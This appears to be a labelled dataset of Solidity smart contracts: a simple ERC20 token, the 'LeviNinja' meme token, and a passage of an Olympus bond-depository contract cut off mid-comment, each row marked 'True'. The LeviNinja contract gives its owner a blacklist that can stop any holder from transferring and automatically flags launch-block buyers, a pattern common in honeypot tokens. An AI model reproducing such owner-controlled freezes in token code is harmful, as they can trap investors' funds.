uint8 private _decimals;
constructor () public {
_symbol = "AlWin";
_totalSupply = 100000000000000;
_decimals = 6;
_balances[0x8897bbf862E9a246D062416726095d37aD4aa51E] = 100000000000000;
emit Transfer(address(0), 0x8897bbf862E9a246D062416726095d37aD4aa51E, 100000000000000);
}
function name() public view returns (string memory) {
return _symbol;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
}
|
True
|
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/*
https://t.me/levininja
$LeviNinja - Levi Ninja ETH TOKEN
Stealth launch today ✅
Levi Ninja is a key character of Attack On Titan. We added the Ninja element into Levi for creating a new meme token.
“I want to put an end to that recurring nightmare, right now.”
“There are those who would get in my way. But I'm fine playing the role of the lunatic who kills people like that. I have to be ready to rearrange some faces. Because I choose the hell of humans killing each other over the hell of being eaten.”
🔥🔥 Tokenomics 🔥🔥(8% TAX)
5%Buyback and Burn
3% Marketing
1% Dev
Total supply : 1,000,000,000
Slippage on buy/sell : 10%+
No private-sale/Team token
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract LeviNinja is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "LeviNinja";
string private constant _symbol = "LeviNinja";
uint private constant _decimals = 9;
uint256 private _teamFee = 8;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (3 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 8, "not larger than 8%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
True
|
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] |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement( address newOwner_ ) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed( address(0), _owner );
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require( _owner == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed( _owner, address(0) );
_owner = address(0);
}
function pushManagement( address newOwner_ ) public virtual override onlyManager() {
require( newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed( _owner, newOwner_ );
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require( msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled( _owner, _newOwner );
_owner = _newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
// TODO comment actual hash value.
bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" );
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address( this ), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address( this ), account_, ammount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { }
}
interface IERC2612Permit {
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function nonces(address owner) external view returns (uint256);
}
library Counters {
using SafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)
)
);
}
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0) && signer == owner, "ZeroSwapPermit: Invalid signature");
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
}
interface ITreasury {
function deposit( uint _amount, address _token, uint _profit ) external returns ( bool );
function valueOf( address _token, uint _amount ) external view returns ( uint value_ );
}
interface IBondCalculator {
function valuation( address _LP, uint _amount ) external view returns ( uint );
function markdown( address _LP ) external view returns ( uint );
}
interface IStaking {
function stake( uint _amount, address _recipient ) external returns ( bool );
}
interface IStakingHelper {
function stake( uint _amount, address _recipient ) external;
}
contract OlympusBondDepository is Ownable {
using FixedPoint for *;
using SafeERC20 for IERC20;
using SafeMath for uint;
event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD );
event BondRedeemed( uint indexed payout, uint indexed remaining );
event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio );
event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition );
address public immutable OHM; // Token given as payment for bond
address public immutable principle; // Token used to create bond
address public immutable treasury; // Mints OHM when receives principle
address public immutable DAO; // Receives profit share from bond
bool public immutable isLiquidityBond; // LP and Reserve bonds are treated slightly different
address public immutable bondCalculator; // Calculates value of LP tokens
address public staking; // to auto-stake payout
address public stakingHelper; // to stake and claim if no staking warmup
bool public useHelper;
constructor (
address _OHM,
address _principle,
address _treasury,
address _DAO,
address _bondCalculator
) {
require( _OHM != address(0) );
OHM = _OHM;
require( _principle != address(0) );
principle = _principle;
require( _treasury != address(0) );
treasury = _treasury;
require( _DAO != address(0) );
DAO = _DAO;
// bondCalculator should be address(0) if not LP bond
bondCalculator = _bondCalculator;
isLiquidityBond = ( _bondCalculator != address(0) );
}
/**
* New bond terms
*/
struct Terms {
uint controlVariable; // scaling variable for price
uint vestingTerm; // in blocks
uint minimumPrice; // vs principle value
uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5%
uint fee; // as % of bond payout, in hundreths. ( 500 = 5% = 0.05 for every 1 paid)
uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt
}
Terms public terms; // Stores terms for new bonds
// Total value of outstanding bonds
uint public totalDebt; // Used for pricing
uint public lastDecay; // reference block for debt decay
/**
* @notice initializes bond parameters
* @param _controlVariable uint
* @param _vestingTerm uint
* @param _minimumPrice uint
* @param _maxPayout uint
* @param _fee uint
* @param _maxDebt uint
* @param _initialDebt uint
*/
function initializeBondTerms(
uint _controlVariable,
uint _vestingTerm,
uint _minimumPrice,
uint _maxPayout,
uint _fee,
uint _maxDebt,
uint _initialDebt
) external onlyManager() {
require( terms.controlVariable == 0, "Bonds must be initialized from 0" );
terms = Terms ({
controlVariable: _controlVariable,
vestingTerm: _vestingTerm,
minimumPrice: _minimumPrice,
maxPayout: _maxPayout,
fee: _fee,
maxDebt: _maxDebt
});
totalDebt = _initialDebt;
}
enum PARAMETER { VESTING, PAYOUT, FEE, DEBT }
/**
* @notice set parameters for new bonds
* @param _parameter PARAMETER
* @param _input uint
*/
function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyManager() {
if ( _parameter == PARAMETER.VESTING ) { // 0
require( _input >= 10000, "Vesting must be longer than 36 hours" );
terms.vestingTerm = _input;
} else if ( _parameter == PARAMETER.PAYOUT ) { // 1
require( _input <= 1000, "Payout cannot be above 1 percent" );
terms.maxPayout = _input;
} else if ( _parameter == PARAMETER.FEE ) { // 2
require( _input <= 10000, "DAO fee cannot exceed payout" );
terms.fee = _input;
} else if ( _parameter == PARAMETER.DEBT ) { // 3
terms.maxDebt = _input;
}
}
/**
